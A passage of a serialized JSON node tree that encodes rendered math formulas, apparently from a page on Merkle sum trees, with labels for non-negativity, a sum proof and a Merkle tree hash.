"type":25,"tag":201,"props":94713,"children":94715},{"className":94714,"style":94073},[5507],[],{"type":25,"tag":201,"props":94717,"children":94719},{"className":94718},[5513],[94720],{"type":31,"value":94721},"Σ",{"type":25,"tag":201,"props":94723,"children":94725},{"className":94724},[5593],[94726],{"type":31,"value":23184},{"type":25,"tag":201,"props":94728,"children":94730},{"className":94729},[5513,23083],[94731],{"type":31,"value":71},{"type":25,"tag":201,"props":94733,"children":94735},{"className":94734},[5513,23083],[94736],{"type":31,"value":94588},{"type":25,"tag":201,"props":94738,"children":94740},{"className":94739},[5513,23083],[94741],{"type":31,"value":94390},{"type":25,"tag":201,"props":94743,"children":94745},{"className":94744},[5513,23083],[94746],{"type":31,"value":57482},{"type":25,"tag":201,"props":94748,"children":94750},{"className":94749},[5513,23083],[94751],{"type":31,"value":23225},{"type":25,"tag":201,"props":94753,"children":94755},{"className":94754,"style":94131},[5513],[94756],{"type":31,"value":4589},{"type":25,"tag":201,"props":94758,"children":94760},{"className":94759},[5513,23083],[94761],{"type":31,"value":71},{"type":25,"tag":201,"props":94763,"children":94765},{"className":94764},[5513,23083],[94766],{"type":31,"value":94122},{"type":25,"tag":201,"props":94768,"children":94770},{"className":94769},[5513,23083],[94771],{"type":31,"value":23225},{"type":25,"tag":201,"props":94773,"children":94775},{"className":94774,"style":94131},[5513],[94776],{"type":31,"value":4589},{"type":25,"tag":201,"props":94778,"children":94780},{"className":94779},[5513,23083],[94781],{"type":31,"value":94139},{"type":25,"tag":201,"props":94783,"children":94785},{"className":94784,"style":94143},[5513,23083],[94786],{"type":31,"value":94146},{"type":25,"tag":201,"props":94788,"children":94790},{"className":94789},[5513,23083],[94791],{"type":31,"value":94152},{"type":25,"tag":201,"props":94793,"children":94795},{"className":94794},[5513,23083],[94796],{"type":31,"value":94158},{"type":25,"tag":201,"props":94798,"children":94800},{"className":94799},[5513],[94801,94806],{"type":25,"tag":201,"props":94802,"children":94804},{"className":94803},[5513,23083],[94805],{"type":31,"value":12153},{"type":25,"tag":201,"props":94807,"children":94809},{"className":94808},[5529],[94810],{"type":25,"tag":201,"props":94811,"children":94813},{"className":94812},[5534,23137],[94814,94843],{"type":25,"tag":201,"props":94815,"children":94817},{"className":94816},[5539],[94818,94838],{"type":25,"tag":201,"props":94819,"children":94821},{"className":94820,"style":94660},[5544],[94822],{"type":25,"tag":201,"props":94823,"children":94824},{"style":94187},[94825,94829],{"type":25,"tag":201,"props":94826,"children":94828},{"className":94827,"style":5554},[5553],[],{"type":25,"tag":201,"props":94830,"children":94832},{"className":94831},[5559,5560,5561,5562],[94833],{"type":25,"tag":201,"props":94834,"children":94836},{"className":94835},[5513,23083,5562],[94837],{"type":31,"value":3641},{"type":25,"tag":201,"props":94839,"children":94841},{"className":94840},[23240],[94842],{"type":31,"value":23243},{"type":25,"tag":201,"props":94844,"children":94846},{"className":94845},[5539],[94847],{"type":25,"tag":201,"props":94848,"children":94850},{"className":94849,"style":94214},[5544],[94851],{"type":25,"tag":201,"props":94852,"children":94853},{},[],{"type":25,"tag":201,"props":94855,"children":94857},{"className":94856},[23212],[94858],{"type":31,"value":423},{"type":25,"tag":201,"props":94860,"children":94862},{"className":94861},[5513,23083],[94863],{"type":31,"value":71},{"type":25,"tag":201,"props":94865,"children":94867},{"className":94866},[5513,23083],[94868],{"type":31,"value":94122},{"type":25,"tag":201,"props":94870,"children":94872},{"className":94871},[5513,23083],[94873],{"type":31,"value":23225},{"type":25,"tag":201,"props":94875,"children":94877},{"className":94876,"style":94131},[5513],[94878],{"type":31,"value":4589},{"type":25,"tag":201,"props":94880,"children":94882},{"className":94881},[5513,23083],[94883],{"type":31,"value":57482},{"type":25,"tag":201,"props":94885,"children":94887},{"className":94886},[5513,23083],[94888],{"type":31,"value":94390},{"type":25,"tag":201,"props":94890,"children":94892},{"className":94891},[5513,23083],[94893],{"type":31,"value":52211},{"type":25,"tag":201,"props":94895,"children":94897},{"className":94896},[23234],[94898],{"type":31,"value":16907},{"type":25,"tag":201,"props":94900,"children":94902},{"className":94901,"style":5594},[5593],[],{"type":25,"tag":201,"props":94904,"children":94906},{"className":94905},[5599],[94907],{"type":31,"value":5602},{"type":25,"tag":201,"props":94909,"children":94911},{"className":94910,"style":5594},[5593],[],{"type":25,"tag":201,"props":94913,"children":94915},{"className":94914},[5502],[94916,94920,94925,94930,94935,94940,94945,94951,94956,94962,94967,94972,94977,94982,94987,94992,94997,95002],{"type":25,"tag":201,"props":94917,"children":94919},{"className":94918,"style":94073},[5507],[],{"type":25,"tag":201,"props":94921,"children":94923},{"className":94922},[5513,23083],[94924],{"type":31,"value":71},{"type":25,"tag":201,"props":94926,"children":94928},{"className":94927},[5513,23083],[94929],{"type":31,"value":94122},{"type":25,"tag":201,"props":94931,"children":94933},{"className":94932},[5513,23083],[94934],{"type":31,"value":23225},{"type":25,"tag":201,"props":94936,"children":94938},{"className":94937,"style":94131},[5513],[94939],{"type":31,"value":4589},{"type":25,"tag":201,"props":94941,"children":94943},{"className":94942},[5513,23083],[94944],{"type":31,"value":34},{"type":25,"tag":201,"props":94946,"children":94948},{"className":94947,"style":94131},[5513,23083],[94949],{"type":31,"value":94950},"r",{"type":25,"tag":201,"props":94952,"children":94954},{"className":94953},[5513,23083],[94955],{"type":31,"value":3641},{"type":25,"tag":201,"props":94957,"children":94959},{"className":94958},[5513,23083],[94960],{"type":31,"value":94961},"ces",{"type":25,"tag":201,"props":94963,"children":94965},{"className":94964},[23212],[94966],{"type":31,"value":423},{"type":25,"tag":201,"props":94968,"children":94970},{"className":94969},[5513,23083],[94971],{"type":31,"value":71},{"type":25,"tag":201,"props":94973,"children":94975},{"className":94974},[5513,23083],[94976],{"type":31,"value":94122},{"type":25,"tag":201,"props":94978,"children":94980},{"className":94979},[5513,23083],[94981],{"type":31,"value":23225},{"type":25,"tag":201,"props":94983,"children":94985},{"className":94984,"style":94131},[5513],[94986],{"type":31,"value":4589},{"type":25,"tag":201,"props":94988,"children":94990},{"className":94989},[5513,23083],[94991],{"type":31,"value":57482},{"type":25,"tag":201,"props":94993,"children":94995},{"className":94994},[5513,23083],[94996],{"type":31,"value":94390},{"type":25,"tag":201,"props":94998,"children":95000},{"className":94999},[5513,23083],[95001],{"type":31,"value":52211},{"type":25,"tag":201,"props":95003,"children":95005},{"className":95004},[23234],[95006],{"type":31,"value":16907},{"type":25,"tag":6948,"props":95008,"children":95009},{},[95010,95169,95170],{"type":25,"tag":115,"props":95011,"children":95013},{"className":95012},[5485,5486],[95014],{"type":25,"tag":201,"props":95015,"children":95017},{"className":95016},[5491],[95018],{"type":25,"tag":201,"props":95019,"children":95021},{"className":95020,"ariaHidden":5497},[5496],[95022,95155],{"type":25,"tag":201,"props":95023,"children":95025},{"className":95024},[5502],[95026,95030,95035,95040,95045,95050,95055,95060,95065,95070,95075,95080,95085,95142,95146,95151],{"type":25,"tag":201,"props":95027,"children":95029},{"className":95028,"style":94576},[5507],[],{"type":25,"tag":201,"props":95031,"children":95033},{"className":95032},[5513,23083],[95034],{"type":31,"value":71},{"type":25,"tag":201,"props":95036,"children":95038},{"className":95037},[5513,23083],[95039],{"type":31,"value":94588},{"type":25,"tag":201,"props":95041,"children":95043},{"className":95042},[5513,23083],[95044],{"type":31,"value":94390},{"type":25,"tag":201,"props":95046,"children":95048},{"className":95047},[5513,23083],[95049],{"type":31,"value":57482},{"type":25,"tag":201,"props":95051,"children":95053},{"className":95052},[5513,23083],[95054],{"type":31,"value":23225},{"type":25,"tag":201,"props":95056,"children":95058},{"className":95057,"style":94131},[5513],[95059],{"type":31,"value":4589},{"type":25,"tag":201,"props":95061,"children":95063},{"className":95062},[5513,23083],[95064],{"type":31,"value":52532},{"type":25,"tag":201,"props":95066,"children":95068},{"className":95067,"style":94617},[5513,23083],[95069],{"type":31,"value":94620},{"type":25,"tag":201,"props":95071,"children":95073},{"className":95072},[5513,23083],[95074],{"type":31,"value":94390},{"type":25,"tag":201,"props":95076,"children":95078},{"className":95077},[5513,23083],[95079],{"type":31,"value":3641},{"type":25,"tag":201,"props":95081,"children":95083},{"className":95082},[5513,23083],[95084],{"type":31,"value":23225},{"type":25,"tag":201,"props":95086,"children":95088},{"className":95087},[5513],[95089,95094],{"type":25,"tag":201,"props":95090,"children":95092},{"className":95091,"style":94617},[5513,23083],[95093],{"type":31,"value":4620},{"type":25,"tag":201,"props":95095,"children":95097},{"className":95096},[5529],[95098],{"type":25,"tag":201,"props":95099,"children":95101},{"className":95100},[5534,23137],[95102,95131],{"type":25,"tag":201,"props":95103,"children":95105},{"className":95104},[5539],[95106,95126],{"type":25,"tag":201,"props":95107,"children":95109},{"className":95108,"style":94660},[5544],[95110],{"type":25,"tag":201,"props":95111,"children":95112},{"style":94664},[95113,95117],{"type":25,"tag":201,"props":95114,"children":95116},{"className":95115,"style":5554},[5553],[],{"type":25,"tag":201,"props":95118,"children":95120},{"className":95119},[5559,5560,5561,5562],[95121],{"type":25,"tag":201,"props":95122,"children":95124},{"className":95123},[5513,23083,5562],[95125],{"type":31,"value":3641},{"type":25,"tag":201,"props":95127,"children":95129},{"className":95128},[23240],[95130],{"type":31,"value":23243},{"type":25,"tag":201,"props":95132,"children":95134},{"className":95133},[5539],[95135],{"type":25,"tag":201,"props":95136,"children":95138},{"className":95137,"style":94214},[5544],[95139],{"type":25,"tag":201,"props":95140,"children":95141},{},[],{"type":25,"tag":201,"props":95143,"children":95145},{"className":95144,"style":5691},[5593],[],{"type":25,"tag":201,"props":95147,"children":95149},{"className":95148},[5696],[95150],{"type":31,"value":11446},{"type":25,"tag":201,"props":95152,"children":95154},{"className":95153,"style":5691},[5593],[],{"type":25,"tag":201,"props":95156,"children":95158},{"className":95157},[5502],[95159,95164],{"type":25,"tag":201,"props":95160,"children":95163},{"className":95161,"style":95162},[5507],"height:0.6444em;",[],{"type":25,"tag":201,"props":95165,"children":95167},{"className":95166},[5513],[95168],{"type":31,"value":429},{"type":31,"value":7966},{"type":25,"tag":1252,"props":95171,"children":95172},{},[95173],{"type":31,"value":95174},"(non-negativity)",{"type":25,"tag":6948,"props":95176,"children":95177},{},[95178,95516,95517],{"type":25,"tag":115,"props":95179,"children":95181},{"className":95180},[5485,5486],[95182],{"type":25,"tag":201,"props":95183,"children":95185},{"className":95184},[5491],[95186],{"type":25,"tag":201,"props":95187,"children":95189},{"className":95188,"ariaHidden":5497},[5496],[95190,95326],{"type":25,"tag":201,"props":95191,"children":95193},{"className":95192},[5502],[95194,95198,95203,95208,95213,95218,95223,95228,95233,95238,95243,95248,95253,95258,95263,95268,95273,95278,95283,95288,95293,95298,95303,95308,95313,95317,95322],{"type":25,"tag":201,"props":95195,"children":95197},{"className":95196,"style":94073},[5507],[],{"type":25,"tag":201,"props":95199,"children":95201},{"className":95200},[5513,23083],[95202],{"type":31,"value":23225},{"type":25,"tag":201,"props":95204,"children":95206},{"className":95205},[5513,23083],[95207],{"type":31,"value":94101},{"type":25,"tag":201,"props":95209,"children":95211},{"className":95210},[5513,23083],[95212],{"type":31,"value":23225},{"type":25,"tag":201,"props":95214,"children":95216},{"className":95215},[5513,23083],[95217],{"type":31,"value":71},{"type":25,"tag":201,"props":95219,"children":95221},{"className":95220,"style":94143},[5513,23083],[95222],{"type":31,"value":94146},{"type":25,"tag":201,"props":95224,"children":95226},{"className":95225,"style":94131},[5513],[95227],{"type":31,"value":4589},{"type":25,"tag":201,"props":95229,"children":95231},{"className":95230},[5513,23083],[95232],{"type":31,"value":71},{"type":25,"tag":201,"props":95234,"children":95236},{"className":95235},[5513,23083],[95237],{"type":31,"value":94122},{"type":25,"tag":201,"props":95239,"children":95241},{"className":95240},[5513,23083],[95242],{"type":31,"value":23225},{"type":25,"tag":201,"props":95244,"children":95246},{"className":95245,"style":94131},[5513],[95247],{"type":31,"value":4589},{"type":25,"tag":201,"props":95249,"children":95251},{"className":95250},[5513,23083],[95252],{"type":31,"value":94139},{"type":25,"tag":201,"props":95254,"children":95256},{"className":95255,"style":94143},[5513,23083],[95257],{"type":31,"value":94146},{"type":25,"tag":201,"props":95259,"children":95261},{"className":95260},[5513,23083],[95262],{"type":31,"value":94152},{"type":25,"tag":201,"props":95264,"children":95266},{"className":95265},[5513,23083],[95267],{"type":31,"value":94158},{"type":25,"tag":201,"props":95269,"children":95271},{"className":95270},[23212],[95272],{"type":31,"value":423},{"type":25,"tag":201,"props":95274,"children":95276},{"className":95275},[5513,23083],[95277],{"type":31,"value":71},{"type":25,"tag":201,"props":95279,"children":95281},{"className":95280},[5513,23083],[95282],{"type":31,"value":94122},{"type":25,"tag":201,"props":95284,"children":95286},{"className":95285},[5513,23083],[95287],{"type":31,"value":23225},{"type":25,"tag":201,"props":95289,"children":95291},{"className":95290,"style":94131},[5513],[95292],{"type":31,"value":4589},{"type":25,"tag":201,"props":95294,"children":95296},{"className":95295},[5513,23083],[95297],{"type":31,"value":57482},{"type":25,"tag":201,"props":95299,"children":95301},{"className":95300},[5513,23083],[95302],{"type":31,"value":94390},{"type":25,"tag":201,"props":95304,"children":95306},{"className":95305},[5513,23083],[95307],{"type":31,"value":52211},{"type":25,"tag":201,"props":95309,"children":95311},{"className":95310},[23234],[95312],{"type":31,"value":16907},{"type":25,"tag":201,"props":95314,"children":95316},{"className":95315,"style":5691},[5593],[],{"type":25,"tag":201,"props":95318,"children":95320},{"className":95319},[5696],[95321],{"type":31,"value":10083},{"type":25,"tag":201,"props":95323,"children":95325},{"className":95324,"style":5691},[5593],[],{"type":25,"tag":201,"props":95327,"children":95329},{"className":95328},[5502],[95330,95334,95339,95344,95349,95354,95359,95364,95369,95374,95379,95384,95389,95394,95399,95404,95409,95414,95471,95476,95481,95486,95491,95496,95501,95506,95511],{"type":25,"tag":201,"props":95331,"children":95333},{"className":95332,"style":94073},[5507],[],{"type":25,"tag":201,"props":95335,"children":95337},{"className":95336},[5513],[95338],{"type":31,"value":94721},{"type":25,"tag":201,"props":95340,"children":95342},{"className":95341},[5593],[95343],{"type":31,"value":23184},{"type":25,"tag":201,"props":95345,"children":95347},{"className":95346},[5513,23083],[95348],{"type":31,"value":71},{"type":25,"tag":201,"props":95350,"children":95352},{"className":95351},[5513,23083],[95353],{"type":31,"value":94588},{"type":25,"tag":201,"props":95355,"children":95357},{"className":95356},[5513,23083],[95358],{"type":31,"value":94390},{"type":25,"tag":201,"props":95360,"children":95362},{"className":95361},[5513,23083],[95363],{"type":31,"value":57482},{"type":25,"tag":201,"props":95365,"children":95367},{"className":95366},[5513,23083],[95368],{"type":31,"value":23225},{"type":25,"tag":201,"props":95370,"children":95372},{"className":95371,"style":94131},[5513],[95373],{"type":31,"value":4589},{"type":25,"tag":201,"props":95375,"children":95377},{"className":95376},[5513,23083],[95378],{"type":31,"value":71},{"type":25,"tag":201,"props":95380,"children":95382},{"className":95381},[5513,23083],[95383],{"type":31,"value":94122},{"type":25,"tag":201,"props":95385,"children":95387},{"className":95386},[5513,23083],[95388],{"type":31,"value":23225},{"type":25,"tag":201,"props":95390,"children":95392},{"className":95391,"style":94131},[5513],[95393],{"type":31,"value":4589},{"type":25,"tag":201,"props":95395,"children":95397},{"className":95396},[5513,23083],[95398],{"type":31,"value":94139},{"type":25,"tag":201,"props":95400,"children":95402},{"className":95401,"style":94143},[5513,23083],[95403],{"type":31,"value":94146},{"type":25,"tag":201,"props":95405,"children":95407},{"className":95406},[5513,23083],[95408],{"type":31,"value":94152},{"type":25,"tag":201,"props":95410,"children":95412},{"className":95411},[5513,23083],[95413],{"type":31,"value":94158},{"type":25,"tag":201,"props":95415,"children":95417},{"className":95416},[5513],[95418,95423],{"type":25,"tag":201,"props":95419,"children":95421},{"className":95420},[5513,23083],[95422],{"type":31,"value":12153},{"type":25,"tag":201,"props":95424,"children":95426},{"className":95425},[5529],[95427],{"type":25,"tag":201,"props":95428,"children":95430},{"className":95429},[5534,23137],[95431,95460],{"type":25,"tag":201,"props":95432,"children":95434},{"className":95433},[5539],[95435,95455],{"type":25,"tag":201,"props":95436,"children":95438},{"className":95437,"style":94660},[5544],[95439],{"type":25,"tag":201,"props":95440,"children":95441},{"style":94187},[95442,95446],{"type":25,"tag":201,"props":95443,"children":95445},{"className":95444,"style":5554},[5553],[],{"type":25,"tag":201,"props":95447,"children":95449},{"className":95448},[5559,5560,5561,5562],[95450],{"type":25,"tag":201,"props":95451,"children":95453},{"className":95452},[5513,23083,5562],[95454],{"type":31,"value":3641},{"type":25,"tag":201,"props":95456,"children":95458},{"className":95457},[23240],[95459],{"type":31,"value":23243},{"type":25,"tag":201,"props":95461,"children":95463},{"className":95462},[5539],[95464],{"type":25,"tag":201,"props":95465,"children":95467},{"className":95466,"style":94214},[5544],[95468],{"type":25,"tag":201,"props":95469,"children":95470},{},[],{"type":25,"tag":201,"props":95472,"children":95474},{"className":95473},[23212],[95475],{"type":31,"value":423},{"type":25,"tag":201,"props":95477,"children":95479},{"className":95478},[5513,23083],[95480],{"type":31,"value":71},{"type":25,"tag":201,"props":95482,"children":95484},{"className":95483},[5513,23083],[95485],{"type":31,"value":94122},{"type":25,"tag":201,"props":95487,"children":95489},{"className":95488},[5513,23083],[95490],{"type":31,"value":23225},{"type":25,"tag":201,"props":95492,"children":95494},{"className":95493,"style":94131},[5513],[95495],{"type":31,"value":4589},{"type":25,"tag":201,"props":95497,"children":95499},{"className":95498},[5513,23083],[95500],{"type":31,"value":57482},{"type":25,"tag":201,"props":95502,"children":95504},{"className":95503},[5513,23083],[95505],{"type":31,"value":94390},{"type":25,"tag":201,"props":95507,"children":95509},{"className":95508},[5513,23083],[95510],{"type":31,"value":52211},{"type":25,"tag":201,"props":95512,"children":95514},{"className":95513},[23234],[95515],{"type":31,"value":16907},{"type":31,"value":7966},{"type":25,"tag":1252,"props":95518,"children":95519},{},[95520],{"type":31,"value":95521},"(sum proof)",{"type":25,"tag":6948,"props":95523,"children":95524},{},[95525,95914,95915],{"type":25,"tag":115,"props":95526,"children":95528},{"className":95527},[5485,5486],[95529],{"type":25,"tag":201,"props":95530,"children":95532},{"className":95531},[5491],[95533],{"type":25,"tag":201,"props":95534,"children":95536},{"className":95535,"ariaHidden":5497},[5496],[95537,95623],{"type":25,"tag":201,"props":95538,"children":95540},{"className":95539},[5502],[95541,95546,95551,95557,95563,95568,95573,95578,95583,95589,95594,95600,95605,95610,95614,95619],{"type":25,"tag":201,"props":95542,"children":95545},{"className":95543,"style":95544},[5507],"height:1.0044em;vertical-align:-0.31em;",[],{"type":25,"tag":201,"props":95547,"children":95549},{"className":95548},[5513,23083],[95550],{"type":31,"value":52211},{"type":25,"tag":201,"props":95552,"children":95554},{"className":95553,"style":94131},[5513,23083],[95555],{"type":31,"value":95556},"er",{"type":25,"tag":201,"props":95558,"children":95561},{"className":95559,"style":95560},[5513,23083],"margin-right:0.03148em;",[95562],{"type":31,"value":89768},{"type":25,"tag":201,"props":95564,"children":95566},{"className":95565,"style":94143},[5513,23083],[95567],{"type":31,"value":94146},{"type":25,"tag":201,"props":95569,"children":95571},{"className":95570},[5513,23083],[95572],{"type":31,"value":52532},{"type":25,"tag":201,"props":95574,"children":95576},{"className":95575,"style":94131},[5513],[95577],{"type":31,"value":4589},{"type":25,"tag":201,"props":95579,"children":95581},{"className":95580},[5513,23083],[95582],{"type":31,"value":23225},{"type":25,"tag":201,"props":95584,"children":95586},{"className":95585},[5513,23083],[95587],{"type":31,"value":95588},"ree",{"type":25,"tag":201,"props":95590,"children":95592},{"className":95591,"style":94131},[5513],[95593],{"type":31,"value":4589},{"type":25,"tag":201,"props":95595,"children":95597},{"className":95596},[5513,23083],[95598],{"type":31,"value":95599},"ha",{"type":25,"tag":201,"props":95601,"children":95603},{"className":95602},[5513,23083],[95604],{"type":31,"value":12153},{"type":25,"tag":201,"props":95606,"children":95608},{"className":95607},[5513,23083],[95609],{"type":31,"value":85429},{"type":25,"tag":201,"props":95611,"children":95613},{"className":95612,"style":5691},[5593],[],{"type":25,"tag":201,"props":95615,"children":95617},{"className":95616},[5696],[95618],{"type":31,"value":10083},{"type":25,"tag":201,"props":95620,"children":95622},{"className":95621,"style":5691},[5593],[],{"type":25,"tag":201,"props":95624,"children":95626},{"className":95625},[5502],[95627,95631,95636,95641,95646,95651,95656,95661,95666,95671,95676,95733,95738,95742,95747,95752,95809,95814,95819,95823,95828,95833,95837,95842,95847,95909],{"type":25,"tag":201,"props":95628,"children":95630},{"className":95629,"style":5614},[5507],[],{"type":25,"tag":201,"props":95632,"children":95634},{"className":95633,"style":23084},[5513,23083],[95635],{"type":31,"value":23087},{"type":25,"tag":201,"props":95637,"children":95639},{"className":95638},[5513,23083],[95640],{"type":31,"value":94085},{"type":25,"tag":201,"props":95642,"children":95644},{"className":95643},[5513,23083],[95645],{"type":31,"value":3641},{"type":25,"tag":201,"props":95647,"children":95649},{"className":95648},[5513,23083],[95650],{"type":31,"value":71646},{"type":25,"tag":201,"props":95652,"children":95654},{"className":95653},[5513,23083],[95655],{"type":31,"value":94101},{"type":25,"tag":201,"props":95657,"children":95659},{"className":95658},[5513,23083],[95660],{"type":31,"value":57482},{"type":25,"tag":201,"props":95662,"children":95664},{"className":95663},[23212],[95665],{"type":31,"value":298},{"type":25,"tag":201,"props":95667,"children":95669},{"className":95668},[5513,23083],[95670],{"type":31,"value":95599},{"type":25,"tag":201,"props":95672,"children":95674},{"className":95673},[5513,23083],[95675],{"type":31,"value":12153},{"type":25,"tag":201,"props":95677,"children":95679},{"className":95678},[5513],[95680,95685],{"type":25,"tag":201,"props":95681,"children":95683},{"className":95682},[5513,23083],[95684],{"type":31,"value":85429},{"type":25,"tag":201,"props":95686,"children":95688},{"className":95687},[5529],[95689],{"type":25,"tag":201,"props":95690,"children":95692},{"className":95691},[5534,23137],[95693,95722],{"type":25,"tag":201,"props":95694,"children":95696},{"className":95695},[5539],[95697,95717],{"type":25,"tag":201,"props":95698,"children":95700},{"className":95699,"style":94183},[5544],[95701],{"type":25,"tag":201,"props":95702,"children":95703},{"style":94187},[95704,95708],{"type":25,"tag":201,"props":95705,"children":95707},{"className":95706,"style":5554},[5553],[],{"type":25,"tag":201,"props":95709,"children":95711},{"className":95710},[5559,5560,5561,5562],[95712],{"type":25,"tag":201,"props":95713,"children":95715},{"className":95714},[5513,5562],[95716],{"type":31,"value":429},{"type":25,"tag":201,"props":95718,"children":95720},{"className":95719},[23240],[95721],{"type":31,"value":23243},{"type":25,"tag":201,"props":95723,"children":95725},{"className":95724},[5539],[95726],{"type":25,"tag":201,"props":95727,"children":95729},{"className":95728,"style":94214},[5544],[95730],{"type":25,"tag":201,"props":95731,"children":95732},{},[],{"type":25,"tag":201,"props":95734,"children":95736},{"className":95735},[5625],[95737],{"type":31,"value":5628},{"type":25,"tag":201,"props":95739,"children":95741},{"className":95740,"style":5632},[5593],[],{"type":25,"tag":201,"props":95743,"children":95745},{"className":95744},[5513,23083],[95746],{"type":31,"value":95599},{"type":25,"tag":201,"props":95748,"children":95750},{"className":95749},[5513,23083],[95751],{"type":31,"value":12153},{"type":25,"tag":201,"props":95753,"children":95755},{"className":95754},[5513],[95756,95761],{"type":25,"tag":201,"props":95757,"children":95759},{"className":95758},[5513,23083],[95760],{"type":31,"value":85429},{"type":25,"tag":201,"props":95762,"children":95764},{"className":95763},[5529],[95765],{"type":25,"tag":201,"props":95766,"children":95768},{"className":95767},[5534,23137],[95769,95798],{"type":25,"tag":201,"props":95770,"children":95772},{"className":95771},[5539],[95773,95793],{"type":25,"tag":201,"props":95774,"children":95776},{"className":95775,"style":94183},[5544],[95777],{"type":25,"tag":201,"props":95778,"children":95779},{"style":94187},[95780,95784],{"type":25,"tag":201,"props":95781,"children":95783},{"className":95782,"style":5554},[5553],[],{"type":25,"tag":201,"props":95785,"children":95787},{"className":95786},[5559,5560,5561,5562],[95788],{"type":25,"tag":201,"props":95789,"children":95791},{"className":95790},[5513,5562],[95792],{"type":31,"value":5516},{"type":25,"tag":201,"props":95794,"children":95796},{"className":95795},[23240],[95797],{"type":31,"value":23243},{"type":25,"tag":201,"props":95799,"children":95801},{"className":95800},[5539],[95802],{"type":25,"tag":201,"props":95803,"children":95805},{"className":95804,"style":94214},[5544],[95806],{"type":25,"tag":201,"props":95807,"children":95808},{},[],{"type":25,"tag":201,"props":95810,"children":95812},{"className":95811},[5625],[95813],{"type":31,"value":5628},{"type":25,"tag":201,"props":95815,"children":95817},{"className":95816},[5593],[95818],{"type":31,"value":23184},{"type":25,"tag":201,"props":95820,"children":95822},{"className":95821,"style":5632},[5593],[],{"type":25,"tag":201,"props":95824,"children":95826},{"className":95825},[5513],[95827],{"type":31,"value":11095},{"type":25,"tag":201,"props":95829,"children":95831},{"className":95830},[5625],[95832],{"type":31,"value":5628},{"type":25,"tag":201,"props":95834,"children":95836},{"className":95835,"style":5632},[5593],[],{"type":25,"tag":201,"props":95838,"children":95840},{"className":95839},[5513,23083],[95841],{"type":31,"value":95599},{"type":25,"tag":201,"props":95843,"children":95845},{"className":95844},[5513,23083],[95846],{"type":31,"value":12153},{"type":25,"tag":201,"props":95848,"children":95850},{"className":95849},[5513],[95851,95856],{"type":25,"tag":201,"props":95852,"children":95854},{"className":95853},[5513,23083],[95855],{"type":31,"value":85429},{"type":25,"tag":201,"props":95857,"children":95859},{"className":95858},[5529],[95860],{"type":25,"tag":201,"props":95861,"children":95863},{"className":95862},[5534,23137],[95864,95898],{"type":25,"tag":201,"props":95865,"children":95867},{"className":95866},[5539],[95868,95893],{"type":25,"tag":201,"props":95869,"children":95871},{"className":95870,"style":94183},[5544],[95872],{"type":25,"tag":201,"props":95873,"children":95874},{"style":94187},[95875,95879],{"type":25,"tag":201,"props":95876,"children":95878},{"className":95877,"style":5554},[5553],[],{"type":25,"tag":201,"props":95880,"children":95882},{"className":95881},[5559,5560,5561,5562],[95883],{"type":25,"tag":201,"props":95884,"children":95886},{"className":95885},[5513,5562],[95887],{"type":25,"tag":201,"props":95888,"children":95890},{"className":95889},[5513,5562],[95891],{"type":31,"value":95892},"511",{"type":25,"tag":201,"props":95894,"children":95896},{"className":95895},[23240],[95897],{"type":31,"value":23243},{"type":25,"tag":201,"props":95899,"children":95901},{"className":95900},[5539],[95902],{"type":25,"tag":201,"props":95903,"children":95905},{"className":95904,"style":94214},[5544],[95906],{"type":25,"tag":201,"props":95907,"children":95908},{},[],{"type":25,"tag":201,"props":95910,"children":95912},{"className":95911},[23234],[95913],{"type":31,"value":3073},{"type":31,"value":7966},{"type":25,"tag":1252,"props":95916,"children":95917},{},[95918],{"type":31,"value":95919},"(merkle tree hash)",{"type":25,"tag":6948,"props":95921,"children":95922},{},[95923,96198,96199,96204,96206,96211],{"type":25,"tag":115,"props":95924,"children":95926},{"className":95925},[5485,5486],[95927],{"type":25,"tag":201,"props":95928,"children":95930},{"className":95929},[5491],[95931],{"type":25,"tag":201,"props":95932,"children":95934},{"className":95933,"ariaHidden":5497},[5496],[95935,96128],{"type":25,"tag":201,"props":95936,"children":95938},{"className":95937},[5502],[95939,95943,95948,95953,95958,95963,95968,95973,95978,95983,95988,95993,95998,96003,96008,96013,96070,96075,96080,96085,96090,96095,96100,96105,96110,96115,96119,96124],{"type":25,"tag":201,"props":95940,"children":95942},{"className":95941,"style":94073},[5507],[],{"type":25,"tag":201,"props":95944,"children":95946},{"className":95945},[5513,23083],[95947],{"type":31,"value":71},{"type":25,"tag":201,"props":95949,"children":95951},{"className":95950},[5513,23083],[95952],{"type":31,"value":94588},{"type":25,"tag":201,"props":95954,"children":95956},{"className":95955},[5513,23083],[95957],{"type":31,"value":94390},{"type":25,"tag":201,"props":95959,"children":95961},{"className":95960},[5513,23083],[95962],{"type":31,"value":57482},{"type":25,"tag":201,"props":95964,"children":95966},{"className":95965},[5513,23083],[95967],{"type":31,"value":23225},{"type":25,"tag":201,"props":95969,"children":95971},{"className":95970,"style":94131},[5513],[95972],{"type":31,"value":4589},{"type":25,"tag":201,"props":95974,"children":95976},{"className":95975},[5513,23083],[95977],{"type":31,"value":71},{"type":25,"tag":201,"props":95979,"children":95981},{"className":95980},[5513,23083],[95982],{"type":31,"value":94122},{"type":25,"tag":201,"props":95984,"children":95986},{"className":95985},[5513,23083],[95987],{"type":31,"value":23225},{"type":25,"tag":201,"props":95989,"children":95991},{"className":95990,"style":94131},[5513],[95992],{"type":31,"value":4589},{"type":25,"tag":201,"props":95994,"children":95996},{"className":95995},[5513,23083],[95997],{"type":31,"value":94139},{"type":25,"tag":201,"props":95999,"children":96001},{"className":96000,"style":94143},[5513,23083],[96002],{"type":31,"value":94146},{"type":25,"tag":201,"props":96004,"children":96006},{"className":96005},[5513,23083],[96007],{"type":31,"value":94152},{"type":25,"tag":201,"props":96009,"children":96011},{"className":96010},[5513,23083],[96012],{"type":31,"value":94158},{"type":25,"tag":201,"props":96014,"children":96016},{"className":96015},[5513],[96017,96022],{"type":25,"tag":201,"props":96018,"children":96020},{"className":96019},[5513,23083],[96021],{"type":31,"value":12153},{"type":25,"tag":201,"props":96023,"children":96025},{"className":96024},[5529],[96026],{"type":25,"tag":201,"props":96027,"children":96029},{"className":96028},[5534,23137],[96030,96059],{"type":25,"tag":201,"props":96031,"children":96033},{"className":96032},[5539],[96034,96054],{"type":25,"tag":201,"props":96035,"children":96037},{"className":96036,"style":94660},[5544],[96038],{"type":25,"tag":201,"props":96039,"children":96040},{"style":94187},[96041,96045],{"type":25,"tag":201,"props":96042,"children":96044},{"className":96043,"style":5554},[5553],[],{"type":25,"tag":201,"props":96046,"children":96048},{"className":96047},[5559,5560,5561,5562],[96049],{"type":25,"tag":201,"props":96050,"children":96052},{"className":96051},[5513,23083,5562],[96053],{"type":31,"value":3641},{"type":25,"tag":201,"props":96055,"children":96057},{"className":96056},[23240],[96058],{"type":31,"value":23243},{"t